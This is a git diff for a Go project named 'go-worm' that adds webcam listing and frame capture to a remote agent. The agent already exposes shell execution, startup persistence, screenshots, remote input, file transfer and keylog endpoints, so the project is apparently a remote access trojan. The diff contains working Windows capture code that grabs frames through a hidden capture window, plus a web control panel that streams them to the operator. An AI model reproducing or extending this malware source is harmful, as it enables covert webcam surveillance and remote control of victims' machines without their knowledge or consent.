diff --git a/lib/agent/agent.go b/lib/agent/agent.go index f87b151..0794f92 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -75,6 +75,8 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/download", a.handleDownload) mux.HandleFunc("/api/v1/upload", a.handleUpload) mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot) + mux.HandleFunc("/api/v1/webcam", a.handleWebcam) + mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 06390e4..040e190 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -24,6 +24,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/openapi" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" + "tea.chunkbyte.com/kato/go-worm/lib/webcam" ) func (a *Agent) handleHealth(w http.ResponseWriter, r *http.Request) { @@ -290,6 +291,71 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { _, _ = w.Write(frame.Data) } +func (a *Agent) handleWebcam(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + devices, err := webcam.List() + if err != nil { + helpers.Log.Printf("webcam list: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, "webcam list failed") + return + } + if devices == nil { + devices = []webcam.Device{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"devices": devices}) +} + +func (a *Agent) handleWebcamFrame(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + format := strings.ToLower(strings.TrimSpace(r.URL.Query().Get("format"))) + if format == "" { + format = "jpeg" + } + if format != "png" && format != "jpeg" { + helpers.WriteError(w, http.StatusBadRequest, "format must be png or jpeg") + return + } + quality := 80 + if raw := r.URL.Query().Get("quality"); raw != "" { + var err error + quality, err = strconv.Atoi(raw) + if err != nil || quality < 1 || quality > config.MaxImageQuality { + helpers.WriteError(w, http.StatusBadRequest, "quality must be between 1 and 100") + return + } + } + device := 0 + if raw := r.URL.Query().Get("device"); raw != "" { + var err error + device, err = strconv.Atoi(raw) + if err != nil || device < 0 { + helpers.WriteError(w, http.StatusBadRequest, "device must be 0 or greater") + return + } + } + frame, err := webcam.Capture(device, format, quality) + if err != nil { + if errors.Is(err, webcam.ErrDeviceNotFound) { + helpers.WriteError(w, http.StatusBadRequest, err.Error()) + return + } + helpers.Log.Printf("webcam capture: %v", err) + helpers.WriteError(w, http.StatusServiceUnavailable, "webcam capture failed") + return + } + w.Header().Set("Content-Type", frame.ContentType) + w.Header().Set("Content-Length", strconv.Itoa(len(frame.Data))) + w.Header().Set("X-Webcam-Width", strconv.Itoa(frame.Width)) + w.Header().Set("X-Webcam-Height", strconv.Itoa(frame.Height)) + _, _ = w.Write(frame.Data) +} + func (a *Agent) handleClick(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index c208748..6184efa 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -21,10 +21,16 @@ const videoStop = document.getElementById("video-stop"); const videoInteract = document.getElementById("video-interact"); const videoKeyHint = document.getElementById("video-key-hint"); + const webcamCanvas = document.getElementById("webcam-canvas"); + const webcamMeta = document.getElementById("webcam-meta"); + const webcamDevice = document.getElementById("webcam-device"); + const webcamStart = document.getElementById("webcam-start"); + const webcamStop = document.getElementById("webcam-stop"); let objectUrls = []; let videoRunning = false; let videoTabActive = false; + let webcamRunning = false; let selectedLogName = ""; let lastMonitor = { left: 0, top: 0, width: 0, height: 0 }; @@ -308,6 +314,76 @@ releaseRemoteModifiers().catch((err) => showError(err.message)); } + async function refreshWebcams() { + const res = await api("/api/v1/webcam"); + const data = await res.json(); + const devices = data.devices || []; + const prev = webcamDevice.value; + webcamDevice.replaceChildren(); + if (!devices.length) { + const opt = document.createElement("option"); + opt.value = ""; + opt.textContent = "No webcams found"; + webcamDevice.append(opt); + webcamMeta.textContent = "No capture devices"; + return; + } + for (const device of devices) { + const opt = document.createElement("option"); + opt.value = String(device.index); + opt.textContent = `${device.index}: ${device.name}${device.version ? ` (${device.version})` : ""}`; + webcamDevice.append(opt); + } + if ([...webcamDevice.options].some((o) => o.value === prev)) { + webcamDevice.value = prev; + } + webcamMeta.textContent = `${devices.length} device(s)`; + } + + async function pullWebcamFrame() { + const device = webcamDevice.value; + if (device === "") throw new Error("no webcam selected"); + const quality = clamp(document.getElementById("webcam-quality").value, 1, 100); + const res = await api( + `/api/v1/webcam/frame?device=${encodeURIComponent(device)}&format=jpeg&quality=${encodeURIComponent(quality)}` + ); + const blob = await res.blob(); + const bitmap = await createImageBitmap(blob); + if (webcamCanvas.width !== bitmap.width || webcamCanvas.height !== bitmap.height) { + webcamCanvas.width = bitmap.width; + webcamCanvas.height = bitmap.height; + } + webcamCanvas.getContext("2d").drawImage(bitmap, 0, 0); + const w = Number(res.headers.get("X-Webcam-Width") || bitmap.width); + const h = Number(res.headers.get("X-Webcam-Height") || bitmap.height); + webcamMeta.textContent = `${w}×${h} · device ${device}`; + bitmap.close(); + } + + async function startWebcam() { + if (webcamRunning) return; + webcamRunning = true; + webcamStart.disabled = true; + webcamStop.disabled = false; + while (webcamRunning) { + const started = Date.now(); + try { + await pullWebcamFrame(); + } catch (err) { + showError(err.message); + } + if (!webcamRunning) break; + const fps = clamp(document.getElementById("webcam-fps").value, 1, 10); + await sleep(Math.max(0, 1000 / fps - (Date.now() - started))); + } + } + + function stopWebcam() { + webcamRunning = false; + webcamStart.disabled = false; + webcamStop.disabled = true; + } + async function pullVideoFrame() { const quality = clamp(document.getElementById("video-quality").value, 1, 100); const monitor = clamp(document.getElementById("video-monitor").value, 0, 64); @@ -590,6 +666,16 @@ startVideo().catch((err) => showError(err.message)); }); videoStop.addEventListener("click", () => stopVideo()); + document.getElementById("webcam-refresh").addEventListener("click", () => { + refreshWebcams().catch((err) => showError(err.message)); + }); + webcamStart.addEventListener("click", () => { + startWebcam().catch((err) => showError(err.message)); + }); + webcamStop.addEventListener("click", () => stopWebcam()); + document.getElementById("webcam-snap").addEventListener("click", () => { + pullWebcamFrame().catch((err) => showError(err.message)); + }); videoCanvas.addEventListener("click", (event) => { sendClick(event, "left").catch((err) => showError(err.message)); }); @@ -620,5 +706,5 @@ listKeylogs().catch((err) => showError(err.message)); }); - Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message)); + Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message)); })(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 072298d..6b7958b 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -134,6 +134,14 @@ background: #111; } #video-canvas.view-only { cursor: default; } + #webcam-canvas { + width: 100%; + height: auto; + display: block; + border: 1px solid var(--line); + border-radius: 8px; + background: #111; + } label.check { display: inline-flex; align-items: center; @@ -216,6 +224,7 @@ + @@ -294,6 +303,25 @@ Toggle sticky modifiers · type anywhere on this tab +
+
+ + + + + + + +
+ +

+
diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index 2e50022..2df29f5 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -166,6 +166,42 @@ func Spec() map[string]any { }), }, }, + "/api/v1/webcam": map[string]any{ + "get": map[string]any{ + "summary": "List webcams", + "operationId": "listWebcams", + "responses": auth(map[string]any{ + "200": okJSON("Connected capture devices", ref("WebcamList")), + "503": errResp("Webcam enumeration failed"), + }), + }, + }, + "/api/v1/webcam/frame": map[string]any{ + "get": map[string]any{ + "summary": "Capture a webcam frame", + "operationId": "webcamFrame", + "parameters": []map[string]any{ + {"name": "device", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 0, "default": 0}, "description": "Device index from /api/v1/webcam"}, + {"name": "format", "in": "query", "schema": map[string]any{"type": "string", "enum": []string{"png", "jpeg"}, "default": "jpeg"}}, + {"name": "quality", "in": "query", "schema": map[string]any{"type": "integer", "minimum": 1, "maximum": 100, "default": 80}, "description": "JPEG quality only"}, + }, + "responses": auth(map[string]any{ + "200": map[string]any{ + "description": "Webcam frame", + "headers": map[string]any{ + "X-Webcam-Width": map[string]any{"schema": map[string]string{"type": "integer"}}, + "X-Webcam-Height": map[string]any{"schema": map[string]string{"type": "integer"}}, + }, + "content": map[string]any{ + "image/png": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + "image/jpeg": map[string]any{"schema": map[string]string{"type": "string", "format": "binary"}}, + }, + }, + "400": errResp("Invalid parameters or device"), + "503": errResp("Webcam capture failed"), + }), + }, + }, "/api/v1/exec": map[string]any{ "post": map[string]any{ "summary": "Run a shell command", @@ -403,6 +439,20 @@ func Spec() map[string]any { "files": map[string]any{"type": "array", "items": ref("KeylogFile")}, }, }, + "WebcamDevice": map[string]any{ + "type": "object", + "properties": map[string]any{ + "index": map[string]any{"type": "integer"}, + "name": map[string]string{"type": "string"}, + "version": map[string]string{"type": "string"}, + }, + }, + "WebcamList": map[string]any{ + "type": "object", + "properties": map[string]any{ + "devices": map[string]any{"type": "array", "items": ref("WebcamDevice")}, + }, + }, }, }, } diff --git a/lib/webcam/bmp.go b/lib/webcam/bmp.go new file mode 100644 index 0000000..c7ac77a --- /dev/null +++ b/lib/webcam/bmp.go @@ -0,0 +1,71 @@ +package webcam + +import ( + "bytes" + "encoding/binary" + "errors" + "fmt" + "image" + "image/jpeg" + "image/png" +) + +func encodeImage(img image.Image, format string, quality int) ([]byte, string, error) { + var buf bytes.Buffer + if format == "jpeg" { + err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality}) + return buf.Bytes(), "image/jpeg", err + } + err := png.Encode(&buf, img) + return buf.Bytes(), "image/png", err +} + +func decodeBMP(data []byte) (*image.RGBA, error) { + if len(data) < 54 || data[0] != 'B' || data[1] != 'M' { + return nil, errors.New("invalid bitmap") + } + offset := binary.LittleEndian.Uint32(data[10:14]) + width := int(int32(binary.LittleEndian.Uint32(data[18:22]))) + heightSigned := int32(binary.LittleEndian.Uint32(data[22:26])) + bits := binary.LittleEndian.Uint16(data[28:30]) + compression := binary.LittleEndian.Uint32(data[30:34]) + if compression != 0 { + return nil, fmt.Errorf("unsupported bmp compression %d", compression) + } + if bits != 24 && bits != 32 { + return nil, fmt.Errorf("unsupported bmp bit depth %d", bits) + } + topDown := heightSigned < 0 + height := int(heightSigned) + if height < 0 { + height = -height + } + if width <= 0 || height <= 0 || int(offset) >= len(data) { + return nil, errors.New("invalid bmp dimensions") + } + bpp := int(bits / 8) + rowSize := (width*bpp + 3) &^ 3 + need := int(offset) + rowSize*height + if need > len(data) { + return nil, errors.New("truncated bmp") + } + img := image.NewRGBA(image.Rect(0, 0, width, height)) + for y := 0; y < height; y++ { + srcY := y + if !topDown { + srcY = height - 1 - y + } + row := data[int(offset)+srcY*rowSize:] + for x := 0; x < width; x++ { + i := x * bpp + b, g, r := row[i], row[i+1], row[i+2] + a := byte(255) + if bpp == 4 { + a = row[i+3] + } + off := (y*width + x) * 4 + img.Pix[off], img.Pix[off+1], img.Pix[off+2], img.Pix[off+3] = r, g, b, a + } + } + return img, nil +} diff --git a/lib/webcam/bmp_test.go b/lib/webcam/bmp_test.go new file mode 100644 index 0000000..6748d4c --- /dev/null +++ b/lib/webcam/bmp_test.go @@ -0,0 +1,50 @@ +package webcam + +import "testing" + +func TestDecodeBMP_roundtripRGB(t *testing.T) { + // 2x2 24-bit BI_RGB bottom-up BMP + row := []byte{ + 0, 0, 255, // BGR red + 0, 255, 0, // green + 0, 0, // pad to 4-byte boundary: 6 bytes -> pad 2 + } + row2 := []byte{ + 255, 0, 0, // blue + 255, 255, 255, // white + 0, 0, + } + pixelData := append(append([]byte{}, row2...), row...) // bottom row first + header := make([]byte, 54) + header[0], header[1] = 'B', 'M' + binaryPutUint32 := func(b []byte, v uint32) { + b[0] = byte(v) + b[1] = byte(v >> 8) + b[2] = byte(v >> 16) + b[3] = byte(v >> 24) + } + binaryPutUint16 := func(b []byte, v uint16) { + b[0] = byte(v) + b[1] = byte(v >> 8) + } + fileSize := uint32(54 + len(pixelData)) + binaryPutUint32(header[2:], fileSize) + binaryPutUint32(header[10:], 54) + binaryPutUint32(header[14:], 40) // DIB header size + binaryPutUint32(header[18:], 2) // width + binaryPutUint32(header[22:], 2) // height (bottom-up) + binaryPutUint16(header[26:], 1) // planes + binaryPutUint16(header[28:], 24) // bpp + + img, err := decodeBMP(append(header, pixelData...)) + if err != nil { + t.Fatal(err) + } + if img.Bounds().Dx() != 2 || img.Bounds().Dy() != 2 { + t.Fatalf("size = %v", img.Bounds()) + } + r, g, b, _ := img.At(0, 0).RGBA() + if r>>8 != 255 || g>>8 != 0 || b>>8 != 0 { + t.Fatalf("pixel 0,0 = %d,%d,%d want red", r>>8, g>>8, b>>8) + } +} diff --git a/lib/webcam/webcam_stub.go b/lib/webcam/webcam_stub.go new file mode 100644 index 0000000..6b4f783 --- /dev/null +++ b/lib/webcam/webcam_stub.go @@ -0,0 +1,25 @@ +//go:build !windows + +package webcam + +import ( + "errors" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var ErrDeviceNotFound = errors.New("webcam not found") + +type Device struct { + Index int `json:"index"` + Name string `json:"name"` + Version string `json:"version,omitempty"` +} + +func List() ([]Device, error) { + return nil, errors.New("webcam is only available on Windows") +} + +func Capture(index int, format string, quality int) (models.CapturedImage, error) { + return models.CapturedImage{}, errors.New("webcam is only available on Windows") +} diff --git a/lib/webcam/webcam_windows.go b/lib/webcam/webcam_windows.go new file mode 100644 index 0000000..2f99508 --- /dev/null +++ b/lib/webcam/webcam_windows.go @@ -0,0 +1,170 @@ +//go:build windows + +package webcam + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "sync" + "syscall" + "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices. + +var ErrDeviceNotFound = errors.New("webcam not found") + +var ( + avicap32 = syscall.NewLazyDLL("avicap32.dll") + user32 = syscall.NewLazyDLL("user32.dll") + procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW") + procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW") + procSendMessageW = user32.NewProc("SendMessageW") + procDestroyWindow = user32.NewProc("DestroyWindow") + captureMu sync.Mutex +) + +const ( + wmUser = 0x0400 + wmCapStart = wmUser + wmCapUnicodeStart = wmUser + 100 + wmCapDriverConnect = wmCapStart + 10 + wmCapDriverDisconnect = wmCapStart + 11 + wmCapFileSaveDIBW = wmCapUnicodeStart + 25 + wmCapGrabFrame = wmCapStart + 60 + wmCapSetPreview = wmCapStart + 50 + wmCapSetScale = wmCapStart + 53 + wsPopup = 0x80000000 + maxDrivers = 10 +) + +type Device struct { + Index int `json:"index"` + Name string `json:"name"` + Version string `json:"version,omitempty"` +} + +func List() ([]Device, error) { + var out []Device + for i := 0; i < maxDrivers; i++ { + nameBuf := make([]uint16, 128) + verBuf := make([]uint16, 128) + ok, _, _ := procCapGetDriverDescriptionW.Call( + uintptr(i), + uintptr(unsafe.Pointer(&nameBuf[0])), + uintptr(len(nameBuf)), + uintptr(unsafe.Pointer(&verBuf[0])), + uintptr(len(verBuf)), + ) + if ok == 0 { + continue + } + name := syscall.UTF16ToString(nameBuf) + if name == "" { + continue + } + out = append(out, Device{ + Index: i, + Name: name, + Version: syscall.UTF16ToString(verBuf), + }) + } + return out, nil +} + +func Capture(index int, format string, quality int) (models.CapturedImage, error) { + captureMu.Lock() + defer captureMu.Unlock() + + devices, err := List() + if err != nil { + return models.CapturedImage{}, err + } + found := false + for _, d := range devices { + if d.Index == index { + found = true + break + } + } + if !found { + return models.CapturedImage{}, ErrDeviceNotFound + } + + title, err := syscall.UTF16PtrFromString("win64_mp_webcam") + if err != nil { + return models.CapturedImage{}, err + } + hwnd, _, callErr := procCapCreateCaptureWindowW.Call( + uintptr(unsafe.Pointer(title)), + wsPopup, + 0, 0, 320, 240, + 0, 0, + ) + if hwnd == 0 { + return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr) + } + defer procDestroyWindow.Call(hwnd) + + ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0) + if ok == 0 { + return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index) + } + defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0) + + _, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0) + _, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0) + ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0) + if ok == 0 { + return models.CapturedImage{}, errors.New("grab frame failed") + } + + tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp") + if err != nil { + return models.CapturedImage{}, err + } + tmpPath := tmp.Name() + _ = tmp.Close() + defer os.Remove(tmpPath) + + pathPtr, err := syscall.UTF16PtrFromString(tmpPath) + if err != nil { + return models.CapturedImage{}, err + } + ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr))) + if ok == 0 { + // Some drivers only accept ANSI SAVEDIB. + ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath)) + if err != nil { + return models.CapturedImage{}, errors.New("save frame failed") + } + ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath))) + if ok == 0 { + return models.CapturedImage{}, errors.New("save frame failed") + } + } + + raw, err := os.ReadFile(tmpPath) + if err != nil { + return models.CapturedImage{}, err + } + img, err := decodeBMP(raw) + if err != nil { + return models.CapturedImage{}, err + } + data, contentType, err := encodeImage(img, format, quality) + if err != nil { + return models.CapturedImage{}, err + } + b := img.Bounds() + return models.CapturedImage{ + ContentType: contentType, + Data: data, + Width: b.Dx(), + Height: b.Dy(), + }, nil +}